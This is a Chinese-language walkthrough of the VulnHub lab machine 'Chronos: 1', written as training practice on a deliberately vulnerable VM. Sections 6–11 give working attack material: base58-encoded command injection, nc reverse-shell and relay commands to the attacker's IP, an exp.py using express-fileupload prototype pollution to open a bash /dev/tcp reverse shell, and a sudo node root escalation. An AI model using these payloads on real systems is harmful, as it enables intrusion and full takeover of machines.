一、打靶准备
靶机地址:Chronos: 1 ~ VulnHub
靶机:chronos一台,使用VirualBox,网络是Host-Only
攻击机kali:ip是192.168.56.104,网络是vmnet0
物理机windows10.
打靶目标:取得2个flag+root权限
二、打靶流程
1.主机发现
使用 arp-scan 工具,进行探针扫描
由此可以断定,靶机的ip:192.168.56.101
2.端口扫描
使用masscan工具扫描,发现靶机开放了22、80、8000端口
3.服务扫描
一旦端口打开,可以使用NMAP进行服务扫描。扫描结果显示,22端口是SSH服务,80端口是运行在Ubuntu系统上的Apache开放的HTTP服务,而8000端口是基于Node.js的Express框架开放的HTTP服务。
4.WEB探针和数据分析
既然我们的目标有web服务,那么可以从网站找突破口
ip访问是192.168.56.101:80
查看源码,发现有着一段JS代码
整理一下发现有一个链接
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
基于之前的信息探针和最新发现的链接,可以推测"chronos.local:8000"是靶机上开放的8000端口。为了访问该端口,可以修改本地的hosts文件。
ping一下检查配置文件是否生效
生效之后重新加载192.168.56.101:80发现页面的确发生了变化
用BurpSuite抓包看一下过程,发现有一个请求和上面JS代码发现的请求是一样的
去分析发送请求的数据(像 base64),使用到 cyberchef 的一个 magic 模块
分析出这个数据是个 base58,并且解码成'+Today is %A, %B %d, %Y %H:%M:%S.'
5.RCE注入(数据加密解密)
看到解码的信息,很像是 linux 的 date 命令
发现和80端口的返回信息一样
在 Burp Suite 里进一步验证,将刚才的数据包的参数信息修改,重新发送,服务端没有任何返回
那么可以知道 80 端口的页面变化信息是由 format 后面的数据结合服务段的 date 命令进行返回的
6.反弹SHELL
检查目标有没有nc工具。
&& ls /bin
39JyvVr3FjbwAV(加密后)
在Kali端启动监听,并通过加密的方式传入参数到shell。
&& nc 192.168.56.104 4444
加密后GMKWwmxeCKrzqcoDwLeaRS6LtNAxfgCPE3
在经过尝试后发现,尽管无法成功实现加密传入参数,但终端之间可以成功建立连接。考虑到这一情况,我将尝试通过添加"-e"参数或者考虑使用nc(netcat)进行串联来达到目标。
在之前的尝试中,我注意到目标主机上存在bash。因此,我先尝试使用"-e"参数来建立连接,但遗憾的是并没有成功。我会继续探索其他方法,例如尝试使用nc(netcat)进行串联,以达到成功连接的目标。
&& nc 192.168.56.104 4444 -e /bin/bash
6eK5JFNT7CahVhdM6iDKHY4Q4b7WQfMP1GY8RgMVWgab8dSFVF5h(加密后)
经过进一步尝试,我注意到终端无法侦听到任何连接。从这个情况可以初步判断靶机上的netcat版本可能不支持"-e"参数。我会调整策略,寻找其他方法来建立连接。
7.NC串联
最终,我决定尝试使用nc进行串联。我在Kali端设置好监听,并将要传入的参数使用base58编码以增加安全性。我计划使用BurpSuite来重新发送经过编码的数据,以期望成功建立连接。
&& nc 192.168.56.104 4444 | /bin/bash | nc 192.168.56.104 5555
3Gho48Ayo8ZTkKBJiuZV9GykBLVhewkwmqZdydZ65zaR5vhudkCVu33hYrQJodtZPe72ZQcCMzcmQtvFNKq4g ---加密后的
4444端口输入命令,5555端口执行输出,已经成功的进入了
8.内网信息收集
检查passwd文件后,注意到存在一个名为imera的用户。成功登录后,发现有一个名为user.txt的文件,很可能包含着目标flag。
发现只有imera可以访问,尝试使用常见的三种提权方式提权:
基于内核漏洞提权、
SUID权限配置问题、
sudo配置漏洞。
可是这三种方法全都无效,只能再进行信息收集
网站根目录下存放js文件,在前面信息收集时扫出的网站是用Node.js的框架
通过对JavaScript代码进行审计,未找到有用信息。但可以观察到先前利用的命令注入漏洞是由于仅做了简单的检查而未进行过滤造成的。
继续收集信息发现,在/opt/chronos-v2/backend目录有一个server.js文件
9.JavaScript代码审计
server.js文件内容如下:
对代码进行分析:
1.代码使用了express框架,这是一个流行的Node.js Web应用程序框架。
2.虽然代码使用了express-fileupload中间件来处理文件上传,但没有对文件类型进行验证和限制。
3.代码设置了ejs作为视图引擎,并指定了视图文件的路径为/opt/chronos-v2/frontend/pages。
4.当前代码只定义了一个GET路由处理程序,当访问根路径时,会渲染名为index的视图。
5.代码创建了一个HTTP服务器,并监听在地址127.0.0.1的8080端口上,由此可见可能存在一个内部地址,且端口号是8080
Node.js有一个框架是express-fileupload,这个框架有一个漏洞,但是需要打开parseNested,上面的server.js文件显示已经打开,即此漏洞可以直接利用获得shell。
10.框架漏洞利用
在kali攻击机编写exp.py利用代码,并开启http服务
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.104/4444 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
切换至/tmp目录,并下载了来自Kali端的exp.py文件。
在Kali主机上,启动了对4444端口的侦听。运行exp.py后,成功地建立了连接。
查看相关信息发现是imera用户,发现第一个flag
成功获取到第一个flag
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
11.本地提权
发现自己没有root权限,所以当前在普通权限,获取的第一个flag是低权限的。
进一步尝试看看是否存在通过sudo提权。
发现可以通过Java反弹shell获取root权限
(ALL) NOPASSWD: /usr/local/bin/node *
搜索"相关Java反弹shell"找到一段代码
sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'
在Kali主机上开始监听后,通过imera用户执行之前的代码,成功获得了root权限。
进入/root目录后发现root.txt文件,找到第二个flag
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
至此,2个flag+root权限全部完成!
12.将获取的flag解码
两个flag分别是:
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
解码后分别是
o chronos pernaei file mou
apopse siopi mazeuoume oneira
是古希腊语言,翻译后的大概意思是:
o chronos pernaei file mou - 时间过得真快,我的朋友
apopse siopi mazeuoume oneira - 今晚我们将在月色中一起追逐梦想
三、安全防范
做完该实验,该靶机存在一些安全隐患,针对这些隐患,我认为应该要做好以下几点防御措施:
(1)关闭不必要的端口:只开放实际需要的端口,减少攻击面。
(2)使用防火墙:设置防火墙规则,限制入站和出站流量,只允许必要的网络流量通过。
(3)避免直接使用用户输入:在代码中对用户输入进行严格的验证和过滤,以防止命令注入等攻击。
(4)隔离上传目录:将上传的文件存储在一个独立的、与 Web 根目录隔离的目录中,以防止恶意文件被直接执行。
(5)将不同的服务或系统隔离开来,限制网络攻击的传播。
(6)对系统进行定期的安全审计,发现并修复潜在的问题。